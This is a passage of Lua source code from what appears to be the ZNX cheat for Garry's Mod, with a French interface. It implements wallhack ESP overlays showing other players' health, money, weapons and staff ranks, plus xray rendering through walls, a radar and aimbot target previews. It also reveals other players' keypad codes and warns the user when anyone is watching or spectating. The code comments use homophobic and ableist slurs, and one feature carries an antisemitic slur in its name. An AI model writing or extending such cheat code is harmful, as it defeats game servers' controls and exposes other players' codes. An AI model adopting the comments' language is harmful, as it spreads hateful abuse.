  2793. draw.SimpleTextOutlined( "[CIBLE]", "DermaDefault", math.Clamp(pos.x, 30, ScrW() - 54), math.Clamp(pos.y - 74, 30, ScrH() - 54), Color(255,155,0,255), 1, 0, 1, Color(55,20,0,255) )
  2794. surface.SetDrawColor(Color(255,155,0,255))
  2795. surface.DrawLine( ScrW() / 2, ScrH(), pos.x, pos.y )
  2796. end
  2797. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) and !ZNX.IsTarget( v ) then
  2798. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2799. end
  2800. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2801. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y - 90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2802. end
  2803. if ZNX.Vars.Vizlines then
  2804. local tr = util.TraceLine ({
  2805. start = v:EyePos(),
  2806. endpos = v:EyePos() + v:GetAimVector() * 5000,
  2807. filter = v,
  2808. mask = MASK_SOLID_BRUSHONLY
  2809. })
  2810. local tp = tr.HitPos:ToScreen()
  2811. local p = v:EyePos():ToScreen()
  2812. surface.DrawLine(p.x, p.y, tp.x, tp.y)
  2813. surface.SetDrawColor(teamcol)
  2814. surface.DrawLine(tp.x - 4, tp.y, tp.x + 4, tp.y)
  2815. surface.DrawLine(tp.x, tp.y - 4, tp.x, tp.y + 4)
  2816. end
  2817. if ZNX.Vars.ShowDistance then
  2818. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 40, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2819. end
  2820. if ZNX.Vars.ShowHP then
  2821. local colhp = math.Clamp(v:Health() * 3, 0, 255)
  2822. local colcomp = Color(255,colhp,0,255)
  2823. draw.SimpleTextOutlined( tostring(v:Health()).."%", "DermaDefault", pos.x, pos.y - 51, colcomp, 1, 0, 1, Color(0,0,0,255) )
  2824. end
  2825. if ZNX.Vars.ArmeESP then
  2826. if(v:GetActiveWeapon():IsValid()) then
  2827. draw.SimpleTextOutlined( v:GetActiveWeapon():GetClass(), "DermaDefault", pos.x, pos.y -18, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2828. end
  2829. end
  2830. if ZNX.Vars.ArgentESP then
  2831. local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
  2832. draw.SimpleTextOutlined( playermoney.."€", "DermaDefault", pos.x, pos.y - 28, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2833. end
  2834. if ZNX.Vars.PKVelocity then
  2835. local velpos = ((v:GetPos() + Vector(0, 0, 45)) + v:GetVelocity() * 0.3 ):ToScreen()
  2836. surface.SetDrawColor(teamcol)
  2837. surface.SetMaterial( leadermat )
  2838. surface.DrawTexturedRect(velpos.x - 15, velpos.y - 15, 30, 30)
  2839. surface.SetDrawColor(teamcol2)
  2840. surface.DrawTexturedRect(velpos.x - 10, velpos.y - 10, 20, 20)
  2841. end
  2842. -- the fag is dead, i dunno why i did a second logic block for this, im just retarded i guess
  2843. elseif ZNX.Vars.ShowDead then
  2844. surface.SetDrawColor(Color(255,255,255,255))
  2845. surface.DrawLine(pos.x - 15, pos.y - 15, pos.x + 15, pos.y + 15)
  2846. surface.DrawLine(pos.x + 15, pos.y - 15, pos.x - 15, pos.y + 15)
  2847. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2848. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) then
  2849. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2850. end
  2851. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2852. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y -90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2853. end
  2854. if ZNX.Vars.ShowDistance then
  2855. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 51, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2856. end
  2857. end
  2858. end -- end of players loop
  2859. if ZNX.Vars.ESPProps then
  2860. for k, v in pairs(ents.FindByClass("prop_physics")) do
  2861. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2862. local pos = (v:LocalToWorld(v:OBBCenter())):ToScreen()
  2863. surface.SetDrawColor(Color(150,150,150,255))
  2864. surface.DrawOutlinedRect(pos.x - 10, pos.y - 10, 20, 20)
  2865. local aligndist = surface.GetTextSize( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m" )
  2866. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x - (aligndist / 2), pos.y + 12, Color(200,200,200,255), 0, 0, 1, Color(0,0,55,255) )
  2867. end
  2868. end
  2869. if ZNX.Vars.Entfinder then
  2870. for k, v in pairs(ents.GetAll()) do
  2871. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2872. local drawing = false
  2873. for i,p in pairs(ZNX.MarkedEnts) do
  2874. if v:GetClass() == p then
  2875. drawing = true
  2876. end
  2877. end
  2878. if drawing then
  2879. local pos = (v:GetPos()+Vector(0,0,5)):ToScreen()
  2880. draw.SimpleTextOutlined( tostring("["..v:GetClass().."]"), "ESP", pos.x-30 , pos.y - 20, Color(235,0,0,255), 0, 0, 1, Color(0,0,0,255) )
  2881. end
  2882. end
  2883. end
  2884. end -- end of showesp
  2885. if ZNX.Freecam then
  2886. local CamData = {}
  2887. CamData.origin = ZNX.FreecamCoordinates.pos
  2888. CamData.angles = ZNX.FreecamCoordinates.ang
  2889. CamData.x = ZNX.NumberVars.MirrorX
  2890. CamData.y = ZNX.NumberVars.MirrorY
  2891. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2892. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2893. CamData.drawviewmodel = false
  2894. CamData.drawhud = false
  2895. CamData.fov = 90
  2896. render.RenderView( CamData )
  2897. end
  2898. if ZNX.Vars.Mirror then
  2899. local CamData = {}
  2900. if ZNX.NumberVars.MirrorAxis == 0 then
  2901. CamData.angles = Angle(0,me:EyeAngles().yaw - 180,0)
  2902. elseif ZNX.NumberVars.MirrorAxis == 1 then
  2903. CamData.angles = Angle(me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2904. else
  2905. CamData.angles = Angle(-me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2906. end
  2907. CamData.origin = me:GetPos()+Vector(0,0,50)
  2908. CamData.x = ZNX.NumberVars.MirrorX
  2909. CamData.y = ZNX.NumberVars.MirrorY
  2910. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2911. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2912. CamData.drawviewmodel = false
  2913. CamData.drawhud = false
  2914. CamData.fov = 90
  2915. render.RenderView( CamData )
  2916. end
  2917. if ZNX.Vars.PreviewTarget then
  2918. local t = ZNX.AimbotPreviewTarget
  2919. if isvector( t ) then
  2920. local p = t:ToScreen()
  2921. surface.SetDrawColor(Color(200,0,0,255))
  2922. surface.DrawRect(p.x-1, p.y + 2, 2, 5)
  2923. surface.DrawRect(p.x-1, p.y - (2 + 5), 2, 5)
  2924. surface.DrawRect(p.x + 2, p.y-1, 5, 2)
  2925. surface.DrawRect(p.x - (2 + 5), p.y-1, 5, 2)
  2926. end
  2927. end
  2928. if ZNX.Vars.Radar then
  2929. local size = ZNX.NumberVars.RadarSize
  2930. local fov = ZNX.NumberVars.RadarZoom
  2931. local x = ZNX.NumberVars.RadarX
  2932. local y = ZNX.NumberVars.RadarY
  2933. surface.SetDrawColor(ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, ZNX.NumberVars.RadarAlpha)
  2934. surface.DrawRect(x - 2, y - 2, size + 4, size + 4)
  2935. surface.SetDrawColor(Color(20, 20, 20, ZNX.NumberVars.RadarAlpha))
  2936. surface.DrawRect(x, y, size, size)
  2937. surface.SetDrawColor(Color(30, 30, 30, 255))
  2938. surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
  2939. surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
  2940. surface.SetDrawColor(ZNX.DefaultScheme)
  2941. surface.DrawRect((x -2)+ (size/2), (y-2) + (size/2), 4, 4)
  2942. for key, ply in pairs(player.GetAll()) do
  2943. local teamcol = team.GetColor(ply:Team())
  2944. if ply != me and !ZNX.IsDead( ply ) then
  2945. local lx = me:GetPos().x - ply:GetPos().x
  2946. local ly = me:GetPos().y - ply:GetPos().y
  2947. local ang = EyeAngles().y
  2948. local cos = math.cos(math.rad(-ang))
  2949. local sin = math.sin(math.rad(-ang))
  2950. local px = (ly * cos) + (lx * sin)
  2951. local py = (lx * cos) - (ly * sin)
  2952. px = px / fov
  2953. py = py / fov
  2954. px = math.Clamp(px, -(size * 0.50), size * 0.50)
  2955. py = math.Clamp(py, -(size * 0.50), size * 0.50)
  2956. local name = player.GetAll()[key]:Nick()
  2957. draw.SimpleText(name, "default", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  2958. surface.SetDrawColor(teamcol)
  2959. surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
  2960. end
  2961. end
  2962. end
  2963. function GAMEMODE:HUDDrawTargetID()
  2964. return false
  2965. end
  2966. if ZNX.Vars.Crosshair then
  2967. local degage = {
  2968. ["CHudCrosshair"]=true,
  2969. }
  2970. hook.Add("HUDShouldDraw", "RemovefuckingCrosshair_", function(name)
  2971. if degage[name] then return false end
  2972. end)
  2973. local hitpos = util.TraceLine ({
  2974. start = me:GetShootPos(),
  2975. endpos = me:GetShootPos() + me:GetAimVector() * 4096,
  2976. filter = me,
  2977. mask = MASK_SHOT
  2978. }).HitPos
  2979. local screenpos = hitpos:ToScreen()
  2980. local x = screenpos.x
  2981. local y = screenpos.y
  2982. if not ZNX.NameStealPlayer:KeyDown(IN_ATTACK2) then
  2983. surface.SetDrawColor(Color(0,0,0, 200))
  2984. surface.DrawRect((ScrW() / 2) - 2, (ScrH() / 2) - 2, 4, 4)
  2985. surface.SetDrawColor(Color(175,238,238, 200))
  2986. surface.DrawRect((ScrW() / 2) - 1, (ScrH() / 2) - 1, 2, 2)
  2987. end
  2988. --surface.DrawRect(x-1, y + 6, 2, 20)
  2989. --surface.DrawRect(x-1, y - (6 + 20), 2, 20)
  2990. --surface.DrawRect(x + 6, y-1, 20, 2)
  2991. --surface.DrawRect(x - (6 + 20), y-1, 20, 2)
  2992. if ZNX.CrossHairAlpha > 0 then ZNX.CrossHairAlpha = math.Clamp(ZNX.CrossHairAlpha - 6, 0, 255) end
  2993. surface.SetDrawColor(Color(255, 255, 255, ZNX.CrossHairAlpha))
  2994. surface.DrawLine(x - 12, y + 12, x - 6, y + 6)
  2995. surface.DrawLine(x + 12, y + 12, x + 6, y + 6)
  2996. surface.DrawLine(x - 12, y - 12, x - 6, y - 6)
  2997. surface.DrawLine(x + 12, y - 12, x + 6, y - 6)
  2998. local x = ScrW()*.5
  2999. local y = ScrH()*.57
  3000. target = LocalPlayer():GetEyeTrace().Entity
  3001. if LocalPlayer():Alive() and LocalPlayer():GetActiveWeapon():IsValid() and (target:IsPlayer()) then
  3002. local colhp = math.Clamp(target:Health() * 3, 0, 255)
  3003. local colcomp = Color(255,colhp,0,255)
  3004. draw.DrawText(target:Nick(), "default", x, y -17, team.GetColor(target:Team()), 1)
  3005. draw.DrawText(target:Health().."%", "default", x, y , colcomp, 1)
  3006. end
  3007. else
  3008. hook.Remove("HUDShouldDraw", "RemovefuckingCrosshair_")
  3009. end
  3010. if isvector( ZNX.CurrentBase ) then
  3011. local sc = (ZNX.CurrentBase + Vector( 0, 0, 10 )):ToScreen()
  3012. draw.SimpleText("Alarme", "default", sc.x, sc.y - 42, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  3013. draw.SimpleText( ZNX.ToMetric( LocalPlayer():GetPos():Distance( ZNX.CurrentBase ) ).."m", "default", sc.x, sc.y - 30, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  3014. surface.SetDrawColor( Color(205,205,255, 100 ) )
  3015. draw.NoTexture()
  3016. local triangle = {
  3017. { x = sc.x - 10, y = sc.y - 20 },
  3018. { x = sc.x + 10, y = sc.y - 20 },
  3019. { x = sc.x, y = sc.y },
  3020. }
  3021. surface.DrawPoly( triangle )
  3022. end
  3023. if ZNX.Vars.KeypadJew then
  3024. local e = me:GetEyeTrace().Entity
  3025. if IsValid(e) and string.find( e:GetClass(), "Keypad") then
  3026. local text;
  3027. local color;
  3028. if(e.code && e.code != "") then
  3029. text = e.code;
  3030. color = Color( 105, 255, 105, 150 )
  3031. elseif(e.tempCode && e.tempCode != "") then
  3032. text = e.tempCode;
  3033. color = Color( 250, 150, 150, 150 )
  3034. else
  3035. text = "Inconnu"
  3036. color = Color(150,150,150,150)
  3037. end
  3038. -- draw.WordBox( 8, ScrW() / 2, ScrH() / 2, text, "Default", color, Color(255,255,255,255) )
  3039. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3040. surface.SetMaterial( grad )
  3041. surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
  3042. draw.SimpleText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3043. end
  3044. for k,v in pairs(ents.GetAll()) do
  3045. if IsValid(v) and string.find( v:GetClass(), "Keypad") then
  3046. if v != e and me:GetPos():Distance( v:GetPos() ) < 8000 then
  3047. local pos = v:GetPos():ToScreen()
  3048. if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
  3049. if (v.code && v.code != "") then
  3050. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3051. surface.SetMaterial( grad )
  3052. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3053. draw.SimpleText( v.code, "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3054. -- draw.WordBox( 8, pos.x-5, pos.y-5, v.code, "Default", Color( 0, 255, 0, 150 ), Color(255,255,255,255) )
  3055. else
  3056. if(v.tempCode && v.tempCode != "") then
  3057. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3058. surface.SetMaterial( grad )
  3059. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3060. draw.SimpleText( v.tempCode, "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3061. else
  3062. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3063. surface.SetMaterial( grad )
  3064. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3065. draw.SimpleText( "Inconnu", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3066. end
  3067. end
  3068. end
  3069. end
  3070. end
  3071. end
  3072. end
  3073. if ZNX.Vars.Bhop then
  3074. local sped = me:GetVelocity():Length()
  3075. draw.SimpleText("Vélocité: "..math.Round( sped ), "DermaDefault", (ScrW() / 2), ScrH() - 60, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
  3076. surface.SetDrawColor( ZNX.DefaultScheme )
  3077. surface.DrawOutlinedRect( (ScrW() / 2) - 100, ScrH() - 50, 200, 10 )
  3078. surface.SetDrawColor( Color( ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, 100 ) )
  3079. surface.DrawRect( (ScrW() / 2) - 100, ScrH() - 50, math.Clamp( (sped / 2000) * 200, 0, 200 ), 10 )
  3080. end
  3081. if ZNX.Vars.WitnessDetector then
  3082. if #ZNX.Witnesses > 0 then
  3083. surface.SetDrawColor( ZNX.DefaultScheme )
  3084. surface.DrawRect( (ScrW() / 2) - 150, 0, 300, (#ZNX.Witnesses * 20) + 30)
  3085. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3086. surface.DrawRect( (ScrW() / 2) - 145, 25, 290, (#ZNX.Witnesses * 20) )
  3087. draw.SimpleText("Ces personnes peuvent vous voir", "DermaDefault", (ScrW() / 2) - 77, 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3088. for k, v in pairs(ZNX.Witnesses) do
  3089. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3090. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, 8 + (k * 20), ZNX.GetESPColor( v ) )
  3091. end
  3092. end
  3093. end
  3094. if ZNX.Vars.SpectatorDetector then
  3095. local starty = 0
  3096. if ZNX.Vars.WitnessDetector then starty = (#ZNX.Witnesses * 20) + 35 end
  3097. if ZNX.TheyHaveEyesEverywhere and #ZNX.TheyHaveEyesEverywhere > 0 then
  3098. surface.SetDrawColor( ZNX.DefaultScheme )
  3099. surface.DrawRect( (ScrW() / 2) - 150, starty, 300, (#ZNX.TheyHaveEyesEverywhere * 20) + 30)
  3100. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3101. surface.DrawRect( (ScrW() / 2) - 145, starty + 25, 290, (#ZNX.TheyHaveEyesEverywhere * 20) )
  3102. draw.SimpleText("Ces personnes vous spectate", "DermaDefault", (ScrW() / 2) - 70, starty + 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3103. for k, v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3104. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3105. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, starty + 8 + (k * 20), ZNX.GetESPColor( v ) )
  3106. end
  3107. end
  3108. end
  3109. -- ent scanner
  3110. if ZNX.EntScanner then
  3111. local c = me:GetEyeTrace()
  3112. local screenpos = c.HitPos:ToScreen()
  3113. local x = screenpos.x
  3114. local y = screenpos.y
  3115. local pulse = math.abs( math.sin( CurTime() * 2 ) )
  3116. surface.SetDrawColor( ZNX.DefaultScheme )
  3117. surface.SetMaterial( scanmat )
  3118. surface.DrawTexturedRect( x - (15 + (pulse * 15)), y - (15 + (pulse * 15)), 30 + (pulse * 30), 30 + (pulse * 30) )
  3119. surface.SetDrawColor( ZNX.DefaultScheme2 )
  3120. surface.DrawTexturedRect( x - (12 + (pulse * 12)), y - (12 + (pulse * 12)), 24 + (pulse * 24), 24 + (pulse * 24) )
  3121. if c.Entity and c.Entity:IsValid() then
  3122. ZNX.EntScannerTab = {}
  3123. local e = c.Entity
  3124. ZNX.EntScannerEnt = e
  3125. if e:IsPlayer() then
  3126. table.insert( ZNX.EntScannerTab, e:Nick() )
  3127. table.insert( ZNX.EntScannerTab, {e:SteamID(), Color(255,255,255)} )
  3128. table.insert( ZNX.EntScannerTab, {ZNX.GetRank( e ), Color( 255, 100, 0 )} )
  3129. table.insert( ZNX.EntScannerTab, "Sante: "..e:Health().."% Armure: "..e:Armor().."%" )
  3130. if DarkRP then
  3131. table.insert( ZNX.EntScannerTab, {DarkRP.formatMoney(e:getDarkRPVar("money")) or "$ERROR", Color( 50, 255, 50)} )
  3132. table.insert( ZNX.EntScannerTab, {"Vrai Nom: "..e:SteamName(), Color( 150, 150, 150)} )
  3133. end
  3134. if e:GetActiveWeapon() then table.insert( ZNX.EntScannerTab, "Arme dans sa main: "..(e:GetActiveWeapon():GetClass() or "None" ) ) end
  3135. local weps = {}
  3136. for _, g in pairs( e:GetWeapons() ) do table.insert( weps, g:GetClass() )end
  3137. table.insert( ZNX.EntScannerTab, {table.ToString( weps ), Color(155,155,255)} )
  3138. end
  3139. table.insert( ZNX.EntScannerTab, e:GetClass() )
  3140. table.insert( ZNX.EntScannerTab, e:GetModel() )
  3141. table.insert( ZNX.EntScannerTab, "Distance: "..ZNX.ToMetric(e:GetPos():Distance( me:GetPos() )).."m" )
  3142. end
  3143. local textx, texty = ScrW() / 2 + 50, ScrH() / 2
  3144. for k, v in pairs(ZNX.EntScannerTab) do
  3145. if istable( v ) then
  3146. draw.SimpleTextOutlined( v[1], "default", textx + 40, (texty - 40) + (k * 12), v[2], 0, 0, 1, Color(0,0,0) )
  3147. else
  3148. draw.SimpleTextOutlined( v, "default", textx + 40, (texty - 40) + (k * 12), ZNX.DefaultScheme, 0, 0, 1, Color(0,0,0) )
  3149. end
  3150. end
  3151. end
  3152. ZNX.MemoryDebug["hud"] = gcinfo() - memfootprint
  3153. end
  3154. hook.Add("HUDPaint", "znx_hud", ZNX.Vision)
  3155. ---------------------------------------------- NEW XRAY HERE -------------------------------------------------
  3156. --[[
  3157. if ZNX.Vars.Xray then
  3158. for k, v in pairs(ents.GetAll()) do
  3159. if ZNX.ToMetric(me:GetPos():Distance(v:GetPos())) > ZNX.NumberVars.XrayDistance then if v:GetColor().a == 100 then v:SetColor(Color(255,255,255,255)) end continue end
  3160. -- set rendermode none?
  3161. if ZNX.Vars.XrayPlayers then
  3162. if v:IsValid() and v:IsPlayer() and v != LocalPlayer() and !ZNX.IsDead( v ) and ZNX.OnScreen( v ) then
  3163. cam.Start3D(EyePos(),EyeAngles())
  3164. if ZNX.Vars.NoChamColours then
  3165. v:SetMaterial(ZNX.mat1)
  3166. v:SetRenderMode(4)
  3167. v:SetColor(xraytrans)
  3168. render.SuppressEngineLighting( true )
  3169. render.MaterialOverride( ZNX.mat1 )
  3170. end
  3171. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 0, 1, 0 ) render.SetBlend(0.8) else render.SetColorModulation( ZNX.ColScheme.x, ZNX.ColScheme.y, ZNX.ColScheme.z ) render.SetBlend(0.3) end
  3172. v:DrawModel()
  3173. if IsValid( v:GetActiveWeapon() ) then
  3174. if ZNX.Vars.NoChamColours then render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) end
  3175. v:GetActiveWeapon():DrawModel()
  3176. end
  3177. render.SetBlend(1)
  3178. render.SuppressEngineLighting( false )
  3179. render.MaterialOverride( )
  3180. -- v:SetColor(Color(255,255,255,255))
  3181. cam.End3D()
  3182. end
  3183. end
  3184. if ZNX.Vars.XrayProps then
  3185. if v:IsValid() and v:GetClass() == "prop_physics" and ZNX.OnScreen( v ) then
  3186. cam.Start3D(EyePos(),EyeAngles())
  3187. if ZNX.Vars.NoChamColours then
  3188. v:SetMaterial(ZNX.mat1)
  3189. v:SetRenderMode(4)
  3190. v:SetColor(xraytrans)
  3191. render.SuppressEngineLighting( true )
  3192. render.MaterialOverride( ZNX.mat1 )
  3193. end
  3194. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 1, 0.2, 0 ) render.SetBlend(0.6) else render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) render.SetBlend(0.3) end
  3195. v:DrawModel()
  3196. render.SetBlend(1)
  3197. render.SuppressEngineLighting( false )
  3198. render.MaterialOverride( )
  3199. -- v:SetColor(Color(255,255,255,255))
  3200. cam.End3D()
  3201. end
  3202. end
  3203. if ZNX.Vars.XrayEntfinder then
  3204. local drawing = false
  3205. for i,p in pairs(ZNX.MarkedEnts) do
  3206. if v:GetClass() == p then
  3207. drawing = true
  3208. end
  3209. end
  3210. if drawing and ZNX.OnScreen( v ) then
  3211. cam.Start3D(EyePos(),EyeAngles())
  3212. v:SetMaterial(ZNX.mat1)
  3213. v:SetRenderMode(4)
  3214. v:SetColor(xraytrans)
  3215. render.SuppressEngineLighting( true )
  3216. render.MaterialOverride( ZNX.mat1 )
  3217. render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z )
  3218. render.SetBlend(0.3)
  3219. v:DrawModel()
  3220. render.SetBlend(1)
  3221. render.SuppressEngineLighting( false )
  3222. render.MaterialOverride( )
  3223. -- v:SetColor(Color(255,255,255,255))
  3224. cam.End3D()
  3225. end
  3226. end
  3227. end
  3228. end
  3229. --]]
  3230. function ZNX.DrawXrayEntity( ent, col, domat, ghost )
  3231. cam.Start3D( EyePos(), EyeAngles() )
  3232. cam.IgnoreZ( true )
  3233. if domat then render.MaterialOverride( ZNX.Mat1 ) end
  3234. render.SuppressEngineLighting( true )
  3235. render.SetColorModulation( col.r / 255, col.g / 255, col.b / 255 )
  3236. if ghost then render.SetBlend( 0.3 ) end
  3237. ent:DrawModel()
  3238. render.SuppressEngineLighting( false )
  3239. cam.IgnoreZ( false )
  3240. render.MaterialOverride()
  3241. cam.End3D()
  3242. end
  3243. function ZNX.DoXray()
  3244. local me = LocalPlayer()
  3245. if !me or !me:IsValid() or !ZNX.Vars.Xray then return end
  3246. local fags = ents.GetAll()
  3247. -- table.sort( fags, function( a, b ) return a:GetPos():DistToSqr( EyePos() ) > b:GetPos():DistToSqr( EyePos() ) end )
  3248. for k, v in ipairs( fags ) do
  3249. if !ZNX.OnScreen( v, 50 ) or ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.XrayDistance then continue end
  3250. -- players loop
  3251. if ZNX.Vars.XrayPlayers and !Visible(v) and v:IsPlayer() then
  3252. if v == LocalPlayer() or !v:Alive() then continue end
  3253. local teamcol, teamcol2
  3254. if ZNX.Vars.TeamColors then
  3255. teamcol = team.GetColor(v:Team())
  3256. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  3257. elseif ZNX.Vars.PKChams then
  3258. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3259. else
  3260. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3261. end
  3262. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid )
  3263. local gun = v:GetActiveWeapon()
  3264. if gun and gun:IsValid() then ZNX.DrawXrayEntity( gun, teamcol2, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid ) end
  3265. end
  3266. -- props loop
  3267. if ZNX.Vars.XrayProps and v:GetClass() == "prop_physics" then
  3268. local teamcol, teamcol2
  3269. if ZNX.Vars.PKChams then
  3270. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3271. else
  3272. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3273. end
  3274. ZNX.DrawXrayEntity( v, teamcol2, ZNX.Vars.NoChamColours, true )
  3275. end
  3276. -- ents loop
  3277. if ZNX.Vars.XrayEntfinder and table.HasValue( ZNX.MarkedEnts, v:GetClass() ) then
  3278. local teamcol, teamcol2
  3279. if ZNX.Vars.PKChams then
  3280. teamcol = Color( 255, 255, 0 ) teamcol2 = Color( 255, 255, 0 )
  3281. else
  3282. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3283. end
  3284. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, true )
  3285. end
  3286. end
  3287. end
  3288. hook.Add( "PreDrawHUD", "AB_NewXray", ZNX.DoXray )
  3289. function ZNX.PKBeamsCore()
  3290. if ZNX.Vars.PKVerticalBeams then
  3291. render.SetMaterial( beammat )
  3292. for k, v in pairs( player.GetAll()) do
  3293. if !v:Alive() or v == LocalPlayer() then continue end
  3294. render.DrawBeam( v:GetPos() + Vector( 0, 0, -2000 ), v:GetPos() + Vector( 0, 0, 2000 ), 50, 0, 1, Color(255,255,255) )
  3295. end
  3296. end
  3297. end
  3298. hook.Add("PostDrawTranslucentRenderables", "znx_beams", ZNX.PKBeamsCore)
  3299. function ZNX.ToggleEntityScanner()
  3300. if !ZNX.EntScanner then
  3301. ZNX.EntScanner = true
  3302. ZNX.ScannerButton1 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 50, "Afficher sur la Console", function() print(ZNX.EntScannerEnt)
  3303. for k, v in pairs( ZNX.EntScannerTab ) do
  3304. if istable( v ) then MsgC( v[2], v[1].."\n" ) else MsgN( v ) end
  3305. end
  3306. end)
  3307. ZNX.ScannerButton2 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 20, "Ajouter a l'ESP", function()
  3308. if table.HasValue( ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass() ) then ZNX.ChatText( "Deja ajouter!", Color(255,205,205) ) return end
  3309. ZNX.ChatText( "Ajouter "..ZNX.EntScannerEnt:GetClass().." au entité", Color(255,255,255) )
  3310. table.insert(ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass())
  3311. end)
  3312. ZNX.ChatText( "Entity Scanner Activer", Color(255,255,255) )
  3313. else
  3314. ZNX.EntScanner = false
  3315. ZNX.ChatText( "Entity Scanner Désactiver", Color(255,205,205) )
